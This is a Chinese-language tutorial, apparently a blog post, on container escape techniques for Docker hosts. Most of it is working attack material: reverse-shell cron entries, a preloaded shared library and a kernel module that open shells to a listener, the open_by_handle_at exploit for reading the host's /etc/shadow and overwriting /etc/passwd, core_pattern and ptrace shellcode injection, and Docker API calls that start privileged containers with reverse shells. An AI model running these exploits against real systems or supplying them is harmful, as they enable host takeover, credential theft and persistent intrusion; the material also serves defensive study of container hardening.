前言 容器逃逸技术没有一尘不变的,很多旧的方法会随着新的内核特性,新的标准而改变,同时新的标准也会带来新的逃逸思路,这篇文章可能称不上标题所说的all in one,实际环境也千变万化。希望这篇文章可以给大家带来思路,可能在某一天的容器环境里发现可以利用的点,然后escape。
危险的C apabilityprivileged 实验环境配置 1 docker run -it --privileged ubuntu:18.04
实际利用 如果查看CapEff为0000003fffffffff代表为特权容器,可以逃逸
1 2 cat /proc/1/status|grep CapEff CapEff: 0000003fffffffff
逃逸方法,挂载宿主机根目录
1 2 3 4 fdisk -l|grep Linux mkdir /host mount /dev/vda1 /host chroot /host
这个时候只是文件系统层面逃逸,还没有彻底逃逸,需要用到接下来的方法
计划任务 /var/spool/cron/crontabs/ 适用于ubuntu debain 1 ls -la /var/spool/cron/crontabs
如果目录存在,代表我们可以写一个crontab
1 2 echo $'*/1 * * * * perl -e \'use Socket;$i="ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/crontabs/root chmod 600 /var/spool/cron/crontabs/root
然后就是彻底逃逸了
/var/spool/cron 适用于centos
如果目录存在,代表我们可以写一个crontab
1 2 echo $'*/1 * * * * perl -e \'use Socket;$i="ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/root chmod 600 /var/spool/cron/root
ld.so.preload 下面脚本为我自己编写,在实际测试中也可以用来做ld劫持,可以达到无感知劫持的效果,这里remove就是防止之后的所有进程都去加载这个so,实际我们加载一次就好了,如果需要可以重新上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <arpa/inet.h> int tcp_port = 8080; char *ip = "ip"; __attribute__((destructor)) void test(){ remove("/etc/ld.so.preload"); int pid; if((pid=fork())==0){ int fd; struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip); fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, (struct sockaddr*)&addr, sizeof(addr)); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); system("/bin/bash"); } }
1 gcc evil.c --shared -fPIC -o evil.so
上传evil.so到/tmp
1 echo '/tmp/evil.so' >/etc/ld.so.preload
不过这种ld劫持还是需要类似有运维操作才可以触发,或者说有新进程创建
ssh 当我们完成文件系统层面逃逸后,可以做端口扫描
1 nc -nvz -w2 172.17.0.1 1-65535 2>&1|grep succeeded
如果发现宿主机开放了ssh服务,那我们可以直接ssh登陆到宿主机上实现完整的逃逸 直接adduser
同时可以修改/etc/passwd 把test uid改为0变成root,然后ssh登陆即可
CAP_SYS_MODULE 实验环境配置 1 docker run -it --cap-add=SYS_MODULE ubuntu:18.04
实际利用 1 cat /proc/self/status|grep Cap
发现有CAP_SYS_MODULE权限,那么直接往内核注入模块,我们直接在容器里面安装必备的东西
1 apt update&&apt install -y gcc make vim linux-headers-$(uname -r) kmod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <linux/module.h> MODULE_LICENSE("GPL"); char *argv[] = { "/bin/bash", "-c", "bash -i >&/dev/tcp/ip/8888 0>&1", NULL }; static int __init connect_back_init(void) { return call_usermodehelper( argv[0], argv, NULL, UMH_WAIT_EXEC // don't wait for program return status ); } static void __exit connect_back_exit(void) { } module_init(connect_back_init); module_exit(connect_back_exit);
1 2 3 4 5 obj-m += exp.o all: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
1 2 insmod exp.ko //就会反弹shell rmmod exp.ko //不需要了可以及时卸载
CAP_DAC_READ_SEARCH,CAP_DAC_OVERRIDE 实验环境配置 1 docker run -it --cap-add=DAC_READ_SEARCH ubuntu:18.04
给了CAP_DAC_READ_SEARCH自动也会赋予CAP_DAC_OVERRIDE权限 但是如果只给CAP_DAC_OVERRIDE是不会给CAP_DAC_READ_SEARCH权限 只给CAP_DAC_OVERRIDE无法做到往宿主机写文件
实际利用 1 cat /proc/self/status|grep CapEff
发现有CAP_DAC_READ_SEARCH和CAP_DAC_OVERRIDE权限,代表我们可以任意读写主机上的文件
读文件 由于docker会默认mount /etc/hostname ,/etc/resolv.conf,/etc/hosts 于是我们拿/etc/hostname当作open_by_handle_at的入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <dirent.h> #include <stdint.h> struct my_file_handle { unsigned int handle_bytes; int handle_type; unsigned char f_handle[8]; }; void die(const char *msg) { fprintf(stderr,"%s",msg); exit(0); } void dump_handle(const struct my_file_handle *h) { fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, h->handle_type); for (int i = 0; i < h->handle_bytes; ++i) { fprintf(stderr,"0x%02x", h->f_handle[i]); if ((i + 1) % 20 == 0) fprintf(stderr,"\n"); if (i < h->handle_bytes - 1) fprintf(stderr,", "); } fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { int fd; uint32_t ino = 0; struct my_file_handle outh = { .handle_bytes = 8, .handle_type = 1 }; DIR *dir = NULL; struct dirent *de = NULL; path = strchr(path, '/'); // recursion stops if path has been resolved if (!path) { memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); oh->handle_type = 1; oh->handle_bytes = 8; return 1; } ++path; fprintf(stderr, "[*] Resolving '%s'\n", path); if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) die("[-] open_by_handle_at"); if ((dir = fdopendir(fd)) == NULL) die("[-] fdopendir"); for (;;) { de = readdir(dir); if (!de) break; fprintf(stderr, "[*] Found %s\n", de->d_name); if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); ino = de->d_ino; break; } } fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); if (de) { for (uint32_t i = 0; i < 0xffffffff; ++i) { outh.handle_bytes = 8; outh.handle_type = 1; memcpy(outh.f_handle, &ino, sizeof(ino)); memcpy(outh.f_handle + 4, &i, sizeof(i)); if ((i % (1<<20)) == 0) fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { closedir(dir); close(fd); dump_handle(&outh); return find_handle(bfd, path, &outh, oh); } } } closedir(dir); close(fd); return 0; } int main(int argc, char * argv[]) { if(argc!=3){ die("Usages ./read filename save_filename"); } // get a FS reference from something mounted in from outside int fd1; if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) die("[-] open outside file error"); struct my_file_handle h; struct my_file_handle root_h = { .handle_bytes = 8, .handle_type = 1, .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} }; if (find_handle(fd1, argv[1], &root_h, &h) <= 0) die("[-] Cannot find valid handle!"); dump_handle(&h); int fd2; if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) die("[-] open_by_handle"); char buf[0x1000]; memset(buf, 0, sizeof(buf)); if (read(fd2, buf, sizeof(buf) - 1) < 0) die("[-] read"); FILE *p; if((p = fopen(argv[2], "w"))==NULL){ die("open write file failed"); } else{ fputs(buf, p); fclose(p); } close(fd2); close(fd1); return 0; }
1 ./read /etc/shadow shadow
会把宿主机的/etc/shadow读出来,保存在shadow文件里
1 ./read /etc/ssh/sshd_config sshd_config
查看是否可以root登陆,是否可以使用密码登陆
1 2 cat sshd_config|grep PermitRootLogin cat sshd_config|grep PasswordAuthentication
然后把shadow里面的密码用john进行爆破,保存格式如下图,加不加用户名都可以
1 john passwd --wordlist=password.txt
爆破出密码了扫描ssh端口
1 nc -nvz -w2 172.17.0.1 1-65535 2>&1|grep succeeded
然后ssh登陆就好
写文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <dirent.h> #include <stdint.h> struct my_file_handle { unsigned int handle_bytes; int handle_type; unsigned char f_handle[8]; }; void die(const char * msg) { fprintf(stderr,"%s",msg); exit(0); } void dump_handle(const struct my_file_handle * h) { fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, h -> handle_type); for (int i = 0; i < h -> handle_bytes; ++i) { fprintf(stderr, "0x%02x", h -> f_handle[i]); if ((i + 1) % 20 == 0) fprintf(stderr, "\n"); if (i < h -> handle_bytes - 1) fprintf(stderr, ", "); } fprintf(stderr, "};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { int fd; uint32_t ino = 0; struct my_file_handle outh = { .handle_bytes = 8, .handle_type = 1 }; DIR * dir = NULL; struct dirent * de = NULL; path = strchr(path, '/'); // recursion stops if path has been resolved if (!path) { memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); oh -> handle_type = 1; oh -> handle_bytes = 8; return 1; } ++path; fprintf(stderr, "[*] Resolving '%s'\n", path); if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) die("[-] open_by_handle_at"); if ((dir = fdopendir(fd)) == NULL) die("[-] fdopendir"); for (;;) { de = readdir(dir); if (!de) break; fprintf(stderr, "[*] Found %s\n", de -> d_name); if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); ino = de -> d_ino; break; } } fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); if (de) { for (uint32_t i = 0; i < 0xffffffff; ++i) { outh.handle_bytes = 8; outh.handle_type = 1; memcpy(outh.f_handle, & ino, sizeof(ino)); memcpy(outh.f_handle + 4, & i, sizeof(i)); if ((i % (1 << 20)) == 0) fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { closedir(dir); close(fd); dump_handle( & outh); return find_handle(bfd, path, & outh, oh); } } } closedir(dir); close(fd); return 0; } int main(int argc, char * argv[]) { if (argc!=3){ die("Usage:./write outside_file inside_file"); } int fd1; // get a FS reference from something mounted in from outside if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) die("[-] open"); struct my_file_handle h; struct my_file_handle root_h = { .handle_bytes = 8, .handle_type = 1, .f_handle = { 0x02, 0, 0, 0, 0, 0, 0, 0 } }; if (find_handle(fd1, argv[1], & root_h, & h) <= 0) die("[-] Cannot find valid handle!"); dump_handle( & h); int fd2; if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) die("[-] open_by_handle"); char * line = NULL; size_t len = 0; ssize_t read; FILE * fptr = fopen(argv[2], "r"); while ((read = getline( & line, & len, fptr)) != -1) { printf("%p",line); write(fd2, line, read); } printf("Success!!\n"); close(fd2); close(fd1); return 0; }
1 2 echo 'test:$6$7p31yPiD$xLKWF5uIeS6oibSO2nwDlSQEjrzgPEFcRkSVTCEaeoxibJnXjC5NOmTVC/dLvuSHBrVt8tknWaPZ/65PECL0C1:0:0::/root:/bin/sh'>>passwd ./write /etc/passwd passwd
可以发现宿主机的/etc/passwd被我们覆盖了 然后ssh登陆宿主机,密码是123456
CAP_SYS_ADMIN 这个权限应该是实际业务里面最常见的权限了,很多容器都会开放这个权限,针对这个权限的逃逸也有很多方法,大家可以根据自己的喜好去利用
apparmor关闭 docker默认关于AppArmor的配置是docker-default,此时会不允许mount的syscall,那么我们需要关闭AppArmor CentOS等Red Hat系的Linux操作系统上默认没有安装AppArmor。
实验环境配置 1 docker run -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 bash
实际利用 1 cat /proc/1/status|grep CapEff
发现有CAP_SYS_ADMIN,那么可以逃逸,主要分为打proc或者打cgroup,但是打proc更为方便,同时受到的限制更少,更为通用,这里我就只以core_pattern的方式介绍逃逸
1 2 mkdir /tmp/proc mount -t proc none -o rw /tmp/proc
获取容器在宿主机的路径
1 cat /proc/1/mountinfo|grep overlay
这里就是
1 /var/lib/docker/overlay2/fe02e21b1c8e2ca4fe60dd2bed6089ae837bf4e6f62a5bc81707cde3adca13cd/merged
然后在/tmp目录下编写一个反弹shell的python脚本,别忘记赋予执行权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/usr/bin/python3 import os import pty import socket lhost = "172.17.0.1" # 根据实际情况修改 lport = 10000 # 根据实际情况修改 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null')#HISTFILE这个环境变量指示出你的运行环境中保存命令历史的文件,这里可以帮我们隐藏 pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main()
修改core_pattern
1 echo -e "|/var/lib/docker/overlay2/fe02e21b1c8e2ca4fe60dd2bed6089ae837bf4e6f62a5bc81707cde3adca13cd/merged/tmp/.x.py " > /tmp/proc/sys/kernel/core_pattern
之前之所以要获取容器的在宿主机上的路径是因为,当异常触发的时候,相当于是在宿主机的namespace里,我们必须要获取脚本的绝对路径,而不仅仅是脚本在容器里的路径 接下来编写一个触发异常的c代码
1 2 3 4 5 6 7 8 #include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; }
首先监听shell的回连端口,然后编译并执行
危险的namespace共享 Network共享 这个在实际场景也是比较常见的,攻击思路也比较广泛,如果容器和宿主机进行了network的共享,在docker里面是–net=host的配置,那么我们就可以在容器里面访问宿主机可以访问到的网络。
如果是k8s网络,那么是不是可以打api server未授权,dashboard未授权,etcd未授权,kubelet未授权
如果不是k8s编排,那么就打同网段的主机(fscan直接开扫)
那么怎么知道可以扫哪些ip
环境变量里的ip和host
/etc/hosts里的网段
/etc/resolv.conf里的网段
PID共享 pid共享也是实际比较常见的场景,当我们发现有些进程对应的脚本文件在容器里面并没有,那么就是开启了pid共享,开启了pid共享还是有很多操作空间的
+特权容器 实验环境配置 1 docker run -it --pid=host --privileged ubuntu:18.04
实际利用 直接chroot 1 2 cd /proc/1/root chroot .
直接逃逸,然后可以再配合前面提到的方法进行完整的逃逸
进程注入 这里面要注意两种情况
shellcode的问题,shellcode可能会出现\x90f1这种,需要在\x901f中间加””,不然解析会出现问题,hex escape sequence out of range
注释掉的shellcode存在后台进程注入的问题,因为没有做dup21 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/user.h> unsigned char shellcode[]=""; char *p; void inject_data (pid_t pid, uint32_t *dst) { uint32_t *src = (uint32_t *) shellcode; for (int i = 0; i < sizeof(shellcode); i+=4, src++, dst++) { if ((ptrace (PTRACE_POKETEXT, pid, dst, *src)) < 0) { perror ("ptrace(POKETEXT):"); exit(1); } } } void main (int argc, char *argv[]) { int syscall; long dst; if (argc != 2) { fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]); exit (1); } pid_t target = atoi (argv[1]); if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) { perror ("ptrace(ATTACH):"); exit (1); } wait (NULL); struct user_regs_struct regs; if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) { perror ("ptrace(GETREGS):"); exit (1); } inject_data (target,(uint32_t *)regs.rip); regs.rip += 2; if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) { perror ("ptrace(SETREGS):"); exit (1); } if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) { perror ("ptrace(DETACH):"); exit (1); } }
shellcode编写 需要填写服务器的ip和端口,这里直接用python的socket库帮我们生成就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 section .text global _start _start: mov rdi,2 ;AF_INET mov rsi,1;SOCK_STREAM xor rdx,rdx mov rax,0x29 syscall;socket mov rdi,rax push dword '';socket.inet_aton(ip) push word 0x901f;socket.htons(port) push word 2;AF_INET push rsp pop rsi; mov rdx,0x10; mov rax,0x2A; syscall;connect mov rsi,3; dup: dec rsi mov rax,0x21 syscall;dup2 jne dup lea rdi,[rel msg] xor rsi,rsi xor rdx,rdx mov rax, 0x3b syscall msg db '/bin/bash',0
1 2 3 nasm -f elf64 -o test.o test.asm ld -o test test.o objdump -s test #查看shellcode
如果不想自己编译的话,用我下面这个脚本就可以
1 2 3 4 5 import socket ip="" port=8080 shellcode=b'\xbf\x02\x00\x00\x00\xbe\x01\x00\x00\x00H1\xd2\xb8)\x00\x00\x00\x0f\x05H\x89\xc7h'+socket.inet_aton(ip)+b'fh'+socket.htons(8080).to_bytes(2,'little')+b'""fj\x02T^\xba\x10\x00\x00\x00\xb8*\x00\x00\x00\x0f\x05\xbe\x03\x00\x00\x00H\xff\xce\xb8!\x00\x00\x00\x0f\x05u\xf4H\x8d=\r\x00\x00\x00H1\xf6H1\xd2\xb8;\x00\x00\x00\x0f\x05/bin/bash\x00' print(shellcode)
把生成的shellcode直接复制进去即可
不是特权容器 这里我试了一下,就算给CAP_SYS_PTRACE和CAP_SYS_ADMIN都是不太好逃逸的,这里可能跟我docker版本比较新有关系,实际可以尝试一下,当pid共享的时候通过进程注入的方式来逃逸,这里就可以注入宿主机的进程,同时这种情况也可以关注一下,宿主机进程的目录我们是否有权限去写,或者说挂载了某些可控的目录 19.03.5版本的docker有CAP_STS_PTRACE和pid共享是可以直接注入的
挂载不当 procfs procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多非常敏感,重要的文件。因为,将宿主机的procfs挂载到不受控的容器也是十分危险的,尤其是在该容器默认启用root权限,且没有开启User Namespace时 procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。从2.6.19内核版本开始,linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符(|),那么该行的剩余内容将被当作用户空间程序或脚本解析并执行 上述描述的新功能原本是为了方便用户获得并处理内存转储数据,然而,他提供命令执行能力作为后门的这种思路十分巧妙,具有一定的隐蔽性。
实验环境配置 1 docker run -it -v /proc/:/host/proc/ ubuntu:18.04 bash
实际利用 1 find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
由于挂载的原因,我们修改了core_pattern也会影响宿主机的core_pattern 获取容器在宿主机的路径
1 cat /proc/1/mountinfo|grep overlay
这里就是
1 /var/lib/docker/overlay2/b2e03c5ab8daa7792345fd5499a54612c49b2323ec08f4011ba78c7226fa052f/merged
然后在/tmp目录下编写一个反弹shell的python脚本,别忘记赋予执行权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/usr/bin/python3 import os import pty import socket lhost = "172.17.0.1" # 根据实际情况修改 lport = 10000 # 根据实际情况修改 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null')#HISTFILE这个环境变量指示出你的运行环境中保存命令历史的文件,这里可以帮我们隐藏 pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main()
修改core_pattern
1 echo -e "|/var/lib/docker/overlay2/b2e03c5ab8daa7792345fd5499a54612c49b2323ec08f4011ba78c7226fa052f/merged/tmp/.x.py " > /host/proc/sys/kernel/core_pattern
接下来编写一个触发异常的c代码
1 2 3 4 5 6 7 8 #include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; }
首先监听shell的回连端口,然后编译并执行
docker socket 实验环境配置 1 docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04 bash
实际利用 1 find / -name docker.sock 2>/dev/null | wc -l | grep -q -v 0 && echo "Docker socket is mounted" ||echo "Docker socket is not mounted"
查看挂载了docker.sock 获取可以用的镜像
1 curl --unix-socket /run/docker.sock http://localhost/images/json
创建特权容器并且反弹shell
1 2 3 4 5 6 7 8 9 curl -X POST -H "Content-Type: application/json" -d "{ \"Image\": \"ubuntu:18.04\", \"HostConfig\": { \"Privileged\": true }, \"Cmd\":[ \"bash\",\"-c\",\"bash -i >& /dev/tcp/172.17.0.1/10001 0>&1\" ] }" --unix-socket /run/docker.sock http://localhost/containers/create
返回一个id 监听端口,并且启动容器
1 curl -X POST --unix-socket /run/docker.sock http://localhost/containers/c083f630d5828591bba03b48f2193422f4e661149689d1cd9c12b2637e7450cd/start
反弹了shell并且是特权容器
配置不当 docker http api暴露 实验环境配置 http没有身份认证,攻击者可以直接控制docker,并且可以轻松控制宿主机
1 2 [Service] ExecStart= -H tcp://0.0 .0 .0 :2375
execstart后面加上一下就可以启动http api
1 2 systemctl daemon-reload systemctl restart docker
通过docker http api访问
1 docker -H tcp://127.0 .0 .1 :2375 images
实际利用 首先在容器中检查是否存在docker api问题
1 IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2 >&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."
尝试使用docker api
1 docker -H tcp://172.17.0.1:2375 ps
但这个时候我们没有docker命令行怎么办
1 curl http://172.17.0.1:2375/images/json
查看有哪些镜像,我们等会直接用
Entrypoint设置为反弹shell 1 2 3 4 5 6 7 8 9 curl -X POST -H "Content-Type: application/json" -d "{ \"Image\": \"ubuntu:18.04\", \"HostConfig\": { \"Privileged\": true }, \"Cmd\":[ \"bash\",\"-c\",\"bash -i >& /dev/tcp/172.17.0.2/10001 0>&1\" ] }" http://172.17.0.1:2375/containers/create
监听port,然后启动容器
1 curl -X POST http://172.17.0.1:2375/containers/45af8059b2144209053cf4375d93a06d4d9304eedc164ea1c503b2d60e0945f4/start
1 mkdir /host_fs&&mount /dev/sda5 /host_fs&&chroot /host_fs
接下来可以写个crontab然后就是完整逃逸了
运行反弹shell的命令 1 2 3 4 5 6 7 8 9 curl -X POST -H "Content-Type: application/json" -d "{ \"Image\": \"ubuntu:18.04\", \"HostConfig\": { \"Privileged\": true }, \"Cmd\":[ \"bash\",\"-c\",\"while true;do sleep 1;done\" ] }" http://172.17.0.1:2375/containers/create
启动container
1 curl -X POST http://172.17.0.1:2375/containers/d2a79a8b7504eced18ae2a80c853fb10ccecebe1cb247c0c10020038aef1fe71/start
先反弹一个shell
1 2 3 curl -X POST -H "Content-Type: application/json" -d "{ \"Cmd\": [\"bash\",\"-c\",\"bash -i >& /dev/tcp/172.17.0.2/10001 0>&1\"] }" http://172.17.0.1:2375/containers/d2a79a8b7504eced18ae2a80c853fb10ccecebe1cb247c0c10020038aef1fe71/exec
这里获得了一个exec的实例,还需要start,先监听端口
1 curl -X POST -H "Content-Type: application/json" -d "{}" http://172.17.0.1:2375/exec/f9b1940dfe2e932ee564e0f975559652ea33c1635c4f9f00721664a173fc0d3d/start
反弹成功,然后挂载
1 mkdir /host_fs&&mount /dev/sda5 /host_fs&&chroot /host_fs
逃逸成功
Docker用户组提权 Docker 运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能运行,但如果给普通用户添加到docker用户组,那么就可以让当前用户提权成root
实验环境配置 添加用户test,并加入docker的group
1 2 3 adduser test usermod -G docker test newgrp docker
实际利用 方法1:挂载宿主机根目录 1 2 3 su test docker run -it -v /:/host_fs ubuntu:18.04 bash chroot /host_fs
方法2:添加一个特权账户 1 2 openssl passwd -1 -salt test-docker >>$1$test-doc$7Krifp/2cYh92wAZKqkJR1
1 2 3 docker run -v /etc/:/mnt -it ubuntu:18.04 bash cd /mnt echo 'test-docker:$1$test-doc$7Krifp/2cYh92wAZKqkJR1:0:0::/root:/bin/bash' >>passwd
然后退出来,直接su test-docker提权 就变成root了
未完待续..